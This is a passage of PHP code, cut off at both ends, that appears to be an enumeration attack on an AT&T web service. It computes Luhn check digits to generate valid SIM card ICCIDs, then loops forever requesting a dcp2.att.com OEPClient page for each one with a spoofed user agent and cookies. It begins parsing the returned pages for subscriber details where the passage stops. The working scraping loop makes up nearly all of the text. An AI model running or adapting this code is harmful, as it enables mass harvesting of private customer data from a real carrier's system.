-1); $i = 0; foreach ($array as $digit) { if (!($i & 1)){ $digit = $digit * 2; if ($digit >= 10) { $digit = $digit - 9; } } $total += $digit; $i++; } $luhn = 10 - ($total % 10); if ($luhn == 10) $luhn=0; return $luhn; } while (1) { //Continue FOREVER $ch = curl_init(); //Set up cURL curl_setopt($ch, CURLOPT_USERAGENT, $useragent); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); //Since theres a lot of redirection curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies"); //See later curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Returns any and all data $ICCID = $ICCIDroot.genluhn(strval($ICCIDroot)); //Generate checkdigit and attach it to the ICCID curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/openPage?ICCID=".strval($ICCID)."&IMEI=0"); $output = curl_exec($ch); //Load first page with ICCID curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/Customer"); $output = curl_exec($ch); //Now load page that is normally redirected with JavaScript. cURL is nice and passes the previously GET'd info curl_close($ch); //print $output; //Prints HTML result if (!($counter % 50)) echo "-".strval($ICCID)."-\n"; //Prints ICCID every 50 counts just to keep track of how far the script has gotten //Parse output. Terribly sloppy if (preg_match("/